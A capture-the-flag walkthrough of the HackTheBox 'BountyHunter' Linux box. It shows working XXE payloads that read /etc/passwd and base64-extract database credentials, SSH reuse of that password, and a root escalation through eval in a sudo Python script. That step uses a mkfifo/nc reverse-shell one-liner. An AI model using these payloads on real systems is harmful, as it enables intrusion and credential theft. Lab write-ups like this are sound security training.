Box Info
  • Name: BountyHunter
  • OS: Linux
  • Difficulty: Easy
  • IP: 10.10.11.100
  • Points: 20
  • Machine Creator: ejedev

Introduction

BountyHunter is a fun Linux box on HackTheBox that has XXE injection on a PHP form, which exposes DB credentials. This DB credential is reused as a password for a user on the box.

The box also has an internal python3 script which could be run as elevated privileges. This script uses eval by which we get command injection, which leads to superuser access to this box.


Scanning & Enumeration

Massscan

sudo masscan -p1-65535,U:1-65535 --rate=500 -e tun0 10.10.11.100

Discovered open port 80/tcp on 10.10.11.100
Discovered open port 22/tcp on 10.10.11.100

NMAP

sudo nmap -sC -sV -oN 10.10.11.100.nmap 10.10.11.100

# Nmap 7.80 scan initiated Sat Jul 31 13:19:13 2021 as: nmap -sC -sV -oN 10.10.11.100.nmap 10.10.11.100
Nmap scan report for 10.10.11.100
Host is up (0.14s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jul 31 13:19:42 2021 -- 1 IP address (1 host up) scanned in 29.04 seconds

So the open ports we have here are: 80 and 22. Port 80 is running Apache server 2.4.41.


Foothold

We add the box’s IP to the hosts file at /etc/hosts so that we can use http://bountyhunter.htb.

10.10.11.100    bountyhunter.htb

We can test and see that port 80 is using PHP.

Running DIRB

dirb http://10.10.11.100 -X .php

-----------------
DIRB v2.22
By The Dark Raver
-----------------

URL_BASE: http://bountyhunter.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.php) | (.php) [NUM = 1]

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://bountyhunter.htb/ ----
+ http://bountyhunter.htb/db.php (CODE:200|SIZE:0)
+ http://bountyhunter.htb/index.php (CODE:200|SIZE:25169)
+ http://bountyhunter.htb/portal.php (CODE:200|SIZE:125)

-----------------
DOWNLOADED: 4612 - FOUND: 3

We find a portal here http://bountyhunter.htb/portal.php which says “Portal under development. Go here to test the bounty tracker.” and links to http://bountyhunter.htb/log_submit.php.

On this page, we have a form that sends data back to the server.

XXE injection bug

We use Burp Suite to look into the data being sent by using Interceptor. We find that /log_submit.php sends a POST req to /tracker_diRbPr00f314.php (lol, the file name is dirb proof) with payload =>

1
data=PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT50aXRsZTwvdGl0bGU%2BCgkJPGN3ZT4wPC9jd2U%2BCgkJPGN2c3M%2BMDwvY3Zzcz4KCQk8cmV3YXJkPjA8L3Jld2FyZD4KCQk8L2J1Z3JlcG9ydD4%3D

We can decode the base64 encoded data. The XML data being sent looks like this:

1
2
3
4
5
6
7
<?xml  version="1.0" encoding="UTF-8"?>
        <bugreport>
        <title>title</title>
        <cwe>0</cwe>
        <cvss>0</cvss>
        <reward>0</reward>
        </bugreport>

As we can guess the bug here should be in parsing the XML input, most probably XXE (XML external entities) injection 1.

We now try to exploit this using Burp Suite’s Repeater 2.

If we use the following XML, we can read the hostname file located at /etc/hostname Here, we have added an extra line, as highlighted.

1
2
3
4
5
6
7
8
<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]>
        <bugreport>
        <title>&xxe;</title>
        <cwe>0</cwe>
        <cvss>0</cvss>
        <reward>0</reward>
        </bugreport>

We can see that we read the file /etc/hostname which has the text bountyhunter in it.

Similarly, we can get /etc/passwd’s contents.

1
2
3
4
5
6
7
8
<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
        <bugreport>
        <title>&xxe;</title>
        <cwe>0</cwe>
        <cvss>0</cvss>
        <reward>0</reward>
        </bugreport>

The following is the output:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin

Of these only development and root are the users having their shell as /bin/bash and HOME directory set, meaning they are non-system users or real users.

We already know that on submitting the form on log_submit.php we get If DB were ready.. text and also we have found a db.php with the DIRB scan!

Obtaining DB credentials

Now we read the /db.php file in a similar manner:

1
2
3
4
5
6
7
8
<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///var/www/html/db.php"> ]>
        <bugreport>
        <title>&xxe;</title>
        <cwe>0</cwe>
        <cvss>0</cvss>
        <reward>0</reward>
        </bugreport>

⛔ But, we get nothing!! This happens because after the contents of /db.php is added into XML, the data is then stripped out while returning by /tracker_diRbPr00f314.php.

Hence, we need to encode the PHP strings into something else so that we could prevent this from happening and get back the contents of /db.php.

We do this by using php://filter/convert.base64-encode/resource=<filename> 3

This is the XML data we can use to fetch the db.php file:

1
2
3
4
5
6
7
8
<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/db.php"> ]>
        <bugreport>
        <title>&xxe;</title>
        <cwe>0</cwe>
        <cvss>0</cvss>
        <reward>0</reward>
        </bugreport>

We can now send this via the BURP repeater.

And we get the file contents of DB having the below content.

1
2
3
4
5
6
7
8
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoA█████████Tsq6K";
$testuser = "test";
?>

Obtaining user.txt

We try logging into user development as we saw in /etc/passwd file using SSH and password as it was mentioned in /db.php

ssh development@bountyhunter.htb

We get user development’s shell 🐚!! And also user.txt flag


Privilege Escalation

We see contract.txt file in /home/development/ which reads:

This means that there should be a tool/scripts/binary which could have sudoers permissions! 😈

sudo -l reveals user’s privileges for a special script

Running sudo -l reflects this:

We have a file /opt/skytrain_inc/ticketValidator.py which can be run using python3 as a superuser (root in this case) without supplying any password.

Below are the contents of /opt/skytrain_inc/ticketValidator.py:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

Exploiting eval to get command injection

What ticketValidator.py does is, it gets a file path in input and processes it, and returns whether the ticket is Valid or Invalid.

Notice line-no 34 which is using eval4 to evaluate the expression in the ticket. For ex. 704+1 will return 705.

Using the logic in code and parsing we have the following ticket Valid.

1
2
3
4
# Skytrain Inc
## Ticket to LONDON
__Ticket Code:__
**704+1**

We can use the eval function in python3 to execute a system command and this command will get executed as root!

Accordingly, ticket.md can be crafted as shown below to get a reverse shell.

1
2
3
4
# Skytrain Inc
## Ticket to LONDON
__Ticket Code:__
**704+__import__('os').system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.██.██ 4242 >/tmp/f")**

Obtaining superuser access & root.txt

We make a new file ticket.md with the above contents and then run the below command on target box:

sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

We listen on attacker box with:

nc -lvnp 4242

Then enter the file path for ticket.md. For me it was /tmp/ticket.md

development@bountyhunter:/tmp$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/tmp/ticket.md

A reverse shell is sent back to our listener. And we get root’s shell!! Yayy 🎉


  1. https://portswigger.net/web-security/xxe ↩︎

  2. https://portswigger.net/burp/documentation/desktop/tools/repeater/using ↩︎

  3. https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity#read-file ↩︎

  4. https://docs.python.org/3/library/functions.html#eval ↩︎